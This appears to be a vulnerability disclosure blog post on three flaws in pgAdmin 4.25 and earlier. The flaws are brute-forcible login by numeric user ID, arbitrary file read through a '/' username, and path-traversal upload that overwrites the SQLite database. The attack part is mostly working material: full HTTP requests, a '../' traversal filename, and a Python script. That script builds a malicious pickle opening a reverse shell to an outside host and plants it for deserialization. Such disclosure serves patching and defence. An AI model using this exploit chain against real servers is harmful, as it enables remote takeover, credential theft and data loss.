Multiple vulnerabilities in pgadmin <= 4.25

日期: 2020-11-21 更新: 2020-11-21 分类: 漏洞挖掘

pgadmin4 vulnerabilities Affected version: 4.25 and below, fixed 4.26

https://github.com/postgres/pgadmin4/tree/REL-4_25

Affected version: 4.25 and below, fixed 4.26

Three vulnerabilities found

1. pgadmin login verification defect lead to easy brute force cracking

Vulnerability analysis:
pgadmin uses flask-security to build authentication login, but when the user name is entered as a number,
the program will perform user_model.query.get query and return the object:

/flask_security/datastore.py:521

When the user object exists, pgadmin will prompt that the password is incorrect. When logging in to the system,
you don’t need to know the email and username. You only need to enter the number and brute force it to get the system login permission easily.

test environment:
pgadmin4
username: user@pgadmin.com

When the number 1 is entered, the password is incorrect, indicating that the database information is matched successfully

You can traverse and blast all the passwords of the correct login account through the primary key id to enter the system:

2. pgadmin File Manage interface arbitrary file reading

Vulnerability demo:

1) Use the administrator account to add a account and use the PUT method to modify the user name to “/“:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PUT /user_management/user/2 HTTP/1.1
Host: 192.168.123.120
Content-Length: 166
X-pgA-CSRFToken: IjJjMmU5OTc5OTZjMTgwMWUwMThiNDkyYjhkZTVmODBmYjQ0MDYwNDUi.X1ULJg.WWZ-cfX1AKkHFHjmR0g0FRTKqz4
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Content-Type: application/json
Origin: http://192.168.123.120
Referer: http://192.168.123.120/browser/
Accept-Encoding: gzip, deflate
Accept-Language: zh,zh-TW;q=0.9,zh-CN;q=0.8
Cookie: pga4_session=83ebba90-43f8-4668-89c0-16658c579a4e!//j+Ar0ZU2BcDih+7YkSWPbIs7A=; PGADMIN_LANGUAGE=en
Connection: close

{"email":"sectest@sec.com","username":"/","active":true,"role":"1","newPassword":"123456","confirmPassword":"123456","auth_source":"internal","authOnlyInternal":true}

2) modify username to “/“ success:

5)Find the download interface from the code to download any file:

1
2
3
4
5
6
7
8
9
10
GET /file_manager/filemanager/6122200/?mode=download&path=/pgadmin4/config.py HTTP/1.1
Host: 192.168.123.120
X-pgA-CSRFToken: IjZhZDQ4MjZhNDcyZjU5MzMzZTRiMGJjYzkwNjAyMzQ2NDI5NDYyNDEi.X1jpeg.DfOX46UksQVkitJwyUrD2S5viNE
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.123.120/browser/
Accept-Encoding: gzip, deflate
Accept-Language: zh-TW,zh;q=0.9
Cookie: pga4_session=2a7c0e68-3f5c-4fb9-a5e7-aea4ab980c43!mrbtthlY17M0iphrp2Lg8S0Lj8c=; PGADMIN_LANGUAGE=en
Connection: close

Vulnerability analysis:

def get_storage_directory() Used to get the upload file storage directory:
The Code uses os.path.join to combine username and default storage directory,If the user name is “/“, os.path.join defaults to “/“,so also bypass function check_access_permission() :

3. Arbitrary file upload overwrites sqlite execution deserialization causing command execution

filemanage file name upload across directories:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
POST /file_manager/filemanager/8388910/ HTTP/1.1
Host: 192.168.123.120
Content-Length: 12957
X-pgA-CSRFToken: ImQ5NmM3MTVkYzU4YmI3N2I2YTE4MWQxMGUwODBlODNhYjc4ZTRjYjgi.X1TlHw.-VQMlcTtNAoFqsWnpHO_cthP3J4
Accept: application/json
Cache-Control: no-cache
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywdHFG1O2RvkHKzD6
Origin: http://192.168.123.120
Referer: http://192.168.123.120/browser/
Accept-Encoding: gzip, deflate
Accept-Language: zh,zh-TW;q=0.9,zh-CN;q=0.8
Cookie: COOKIE_SUPPORT=true; GUEST_LANGUAGE_ID=en_US; pga4_session=8f8dfd18-0096-498a-a8c2-0582e3572583!IAaD6RQYJyFCoiURqUx9tldKZS0=; PGADMIN_LANGUAGE=en
Connection: close

------WebKitFormBoundarywdHFG1O2RvkHKzD6
Content-Disposition: form-data; name="mode"

add
------WebKitFormBoundarywdHFG1O2RvkHKzD6
Content-Disposition: form-data; name="currentpath"

/
------WebKitFormBoundarywdHFG1O2RvkHKzD6
Content-Disposition: form-data; name="newfile"; filename="../../../../../../../../../../var/lib/pgadmin/pgadmin4.db"
Content-Type: image/gif

database content.......................................

1) overwrites sqlite database:

2)Create a pickle object for the process.desc field:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import os
import pickle
import socket
import pty


class exp(object):
def __reduce__(self):
a = 'python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\"vps_address\\",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\\"/bin/sh\\",\\"-i\\"]);"'
return (os.system,(a,))


e = exp()
s = pickle.dumps(e)

import sqlite3

# OK, now for the DB part: we make it...:
db = sqlite3.connect('pgadmin4.db')
db.execute('UPDATE process set desc = (?) where pid="123"', (s,))
db.commit()
db.close()

database content:

3)GET requests /misc/bgprocess/ Trigger the deserialization operation to read the content of the process.desc field to cause the command to execute: